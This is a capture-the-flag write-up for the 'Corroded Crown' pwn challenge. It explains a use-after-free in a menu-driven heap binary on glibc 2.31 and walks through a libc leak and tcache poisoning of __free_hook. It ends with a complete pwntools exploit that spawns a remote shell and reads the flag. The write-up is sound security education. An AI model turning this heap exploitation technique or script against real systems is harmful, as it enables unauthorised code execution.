The Corroded Crown
The Corroded Crown
Platform: CACTF2026 | Category: pwn | Type: Challenge | Difficulty: Medium | OS: Linux | Author: XESXOR | Date: 2026-07-27 | Status: Solved Techniques: use_after_free, unsorted_bin_libc_leak, tcache_poisoning, free_hook_overwrite, system_binsh, guard_chunk_against_top_consolidation
Summary
Task: menu-driven heap allocator (forge/inscribe/inspect/destroy) with a use-after-free because read/write operations ignore the in_use flag and free never nulls the pointer, on glibc 2.31. Solution: UAF read on an unsorted-bin chunk leaks libc, then tcache poisoning (no safe-linking) redirects an allocation onto __free_hook, overwriting it with system and triggering free() on a /bin/sh chunk for a shell.
The Corroded Crown — CACTF2026
Description
When the Signet shattered, Crownspire's oaths didn't die. They got imitated. Houses started turning out claims so immaculate they felt wrong in the hand, too perfect and too eager to be believed. The Corroded Crown was the old forge where the Signet's fragments were first shaped, a sanctified mechanism of authority now rusted and corrupted. Its relics still carry the old geometry, but the tolerances are off. Perfect face, wrong spine. Rin has found her way into the forge's service throat. The locks here are still called 'sanctified,' but she knows the tell by now. Someone has been refitting these holy mechanisms with new tolerances, quietly changing who gets let in once panic has everyone begging at the door. She isn't here to smash the system. She's here to make it accept the wrong truth.
English summary: A classic menu-driven glibc heap challenge. We are given an ELF binary plus a bundled glibc 2.31-0ubuntu9.17. The menu manages "relics" (heap chunks): forge (malloc), inscribe (write), inspect (read), destroy (free). The goal is to obtain a shell on the remote service and read the flag.
The flavor text is a strong semantic hint:
- "Perfect face, wrong spine" = a chunk with a valid header/metadata but a corrupted
fd(forward) pointer — i.e. tcache poisoning. - "make it accept the wrong truth" = poison the tcache freelist
fdso the allocator hands back an arbitrary attacker-chosen address.
Binary / Protections
- ELF 64-bit, x86-64, PIE, dynamically linked, not stripped, BuildID
41ca0dbfab753505915afb78ebf357ab3616531e. - Protections: Full RELRO, stack canary, NX.
- Uses the provided glibc
2.31-0ubuntu9.17via RUNPATH./glibc/. This glibc still has a writable__free_hookand no tcache safe-linking (both were removed later), which makes the intended technique clean.
Global state lives in .bss at 0x4040: an array relic[64], each entry 16 bytes:
c read-only • copy allowedstruct relic { void *ptr; int size; char in_use; };
Index is bounds-checked to 0..63 everywhere.
Menu functions
forge_relic(0x121c) — malloc: reads index (0..63) and size (>= 0, otherwise arbitrary), checksrelic[idx].in_use == 0, callsmalloc(size)with an attacker-controlled arbitrary size, storesptr/size, setsin_use = 1.inscribe_relic(0x139d) — write: reads index, thenread(0, relic[idx].ptr, relic[idx].size). Reads exactlysizebytes (blocking). Does NOT checkin_use→ UAF write / tcachefdoverwrite. Prompt:Press your inscription into the metal (N bytes):.inspect_relic(0x14ba) — read: reads index, thenwrite(1, relic[idx].ptr, relic[idx].size). Does NOT checkin_use→ UAF read / info leak. Prints[*] Relic [%d]:then raw bytes then a newline.destroy_relic(0x15b0) — free: reads index, checksin_use == 1,free(ptr), setsin_use = 0, but does NOT null the pointer.
Vulnerability
Use-After-Free. inscribe and inspect operate on the stored pointer without checking in_use, and destroy frees a chunk without clearing the stored pointer. Therefore, after destroy(), the same slot can still be:
- read → leak whatever the allocator wrote into the freed chunk (unsorted-bin
fd/bk= libc pointers), and - written → corrupt heap metadata, specifically overwrite the tcache
fdof a freed chunk.
Because forge accepts arbitrary sizes, we can freely target the unsorted bin (for the libc leak) and any tcache bin (for the poison).
Exploitation (3 stages)
Proven working against the remote service.
Stage 1 — libc leak via the unsorted bin
A chunk larger than the tcache maximum (0x408) is not cached in tcache on free; it goes to the unsorted bin, where its fd points into main_arena (main_arena + 0x60). A small guard chunk is allocated afterwards so the freed large chunk does not consolidate with the top chunk.
text read-only • copy allowedforge(0, 0x500) # > tcache max, so free() routes to the unsorted bin forge(1, 0x20) # guard chunk, prevents top consolidation destroy(0) # chunk -> unsorted bin; fd = main_arena + 0x60 (slot ptr retained) inspect(0, 8) # UAF read leaks main_arena + 0x60
Deriving the libc base for this glibc:
main_arena = __malloc_hook + 0x10- unsorted-bin
fd = main_arena + 0x60 - therefore
libc.base = leak - (__malloc_hook + 0x10 + 0x60)
For 2.31-0ubuntu9.17 that offset constant equals 0x1ecbe0. The result is asserted to be page-aligned.
Stage 2 — tcache poisoning of __free_hook
With no safe-linking in glibc 2.31, the tcache fd is a raw pointer, so a UAF write directly redirects the freelist.
text read-only • copy allowedSZ = 0x50 forge(2, SZ); forge(3, SZ) destroy(3); destroy(2) # tcache[SZ] head: chunk2 -> chunk3 inscribe(2, p64(__free_hook), SZ) # UAF write: chunk2.fd = __free_hook forge(4, SZ) # pops chunk2 off the freelist forge(5, SZ) # returns __free_hook as the user pointer inscribe(5, p64(system), SZ) # writes system() into __free_hook
Stage 3 — trigger system("/bin/sh")
text read-only • copy allowedforge(6, 0x30) inscribe(6, "/bin/sh\0", 0x30) destroy(6) # free(ptr) invokes __free_hook(ptr) = system("/bin/sh")
This drops a shell as the ctf user; cat flag yields the flag.
Gotchas
These cost real debugging time and are worth remembering:
inscribeusesread()which consumes exactlyrelic[idx].sizebytes; sending fewer bytes without a newline hangs the interaction. Always pad the payload to the chunk size (d.ljust(size, b'\x00')).- The inscribe surface prompt is printed before the index prompt; synchronize on
):(the(N bytes):prompt) before sending the raw data. - libc base derivation is
leak - (__malloc_hook + 0x10 + 0x60)because the unsorted-binfdpoints atmain_arena + 0x60andmain_arena = __malloc_hook + 0x10in glibc 2.31 (hardcoded constant0x1ecbe0for2.31-0ubuntu9.17). - Full RELRO means no GOT overwrite is possible; on glibc 2.31 the writable
__free_hookis the clean single-write target.
Full Exploit
python read-only • copy allowed#!/usr/bin/env python3 # The Corroded Crown - CACTF2026 (HTB) - glibc 2.31 UAF -> tcache poison __free_hook # Usage: python3 exploit.py REMOTE HOST=<host> PORT=<port> # (run from extracted/challenge so ./glibc/libc.so.6 is found) from pwn import * context.arch = 'amd64' context.log_level = 'info' libc = ELF('./glibc/libc.so.6', checksec=False) if args.REMOTE: io = remote(args.HOST, int(args.PORT)) else: io = process(['./corroded_crown']) def forge(i, s): io.sendlineafter(b'> ', b'1') io.sendlineafter(b'(index): ', str(i).encode()) io.sendlineafter(b'(size): ', str(s).encode()) def inscribe(i, d, size): io.sendlineafter(b'> ', b'2') io.sendlineafter(b'(index): ', str(i).encode()) io.recvuntil(b'):') io.send(d.ljust(size, b'\x00')) # read() consumes exactly `size` bytes def inspect(i, n): io.sendlineafter(b'> ', b'3') io.sendlineafter(b'(index): ', str(i).encode()) io.recvuntil(b']: ') return io.recv(n) def destroy(i): io.sendlineafter(b'> ', b'4') io.sendlineafter(b'(index): ', str(i).encode()) # Stage 1: libc leak via unsorted bin (0x500 > tcache max; guard prevents top consolidation) forge(0, 0x500) forge(1, 0x20) destroy(0) # UAF: slot ptr retained leak = u64(inspect(0, 8)[:8].ljust(8, b'\x00')) # fd = main_arena + 0x60 libc.address = leak - (libc.symbols['__malloc_hook'] + 0x10 + 0x60) assert libc.address & 0xfff == 0 log.success('libc base = %#x', libc.address) fh = libc.symbols['__free_hook'] system = libc.symbols['system'] # Stage 2: tcache poison __free_hook (no safe-linking in glibc 2.31) SZ = 0x50 forge(2, SZ); forge(3, SZ) destroy(3); destroy(2) # tcache[SZ]: 2 -> 3 inscribe(2, p64(fh), SZ) # overwrite chunk2.fd -> __free_hook forge(4, SZ) # pops chunk2 forge(5, SZ) # returns __free_hook inscribe(5, p64(system), SZ) # __free_hook = system # Stage 3: trigger system("/bin/sh") forge(6, 0x30) inscribe(6, b'/bin/sh\x00', 0x30) destroy(6) # free(ptr) -> system("/bin/sh") io.sendline(b'cat flag* /flag* /home/*/flag* 2>/dev/null; echo ===DONE===; id') print(io.recvrepeat(6).decode(errors='replace')) io.interactive()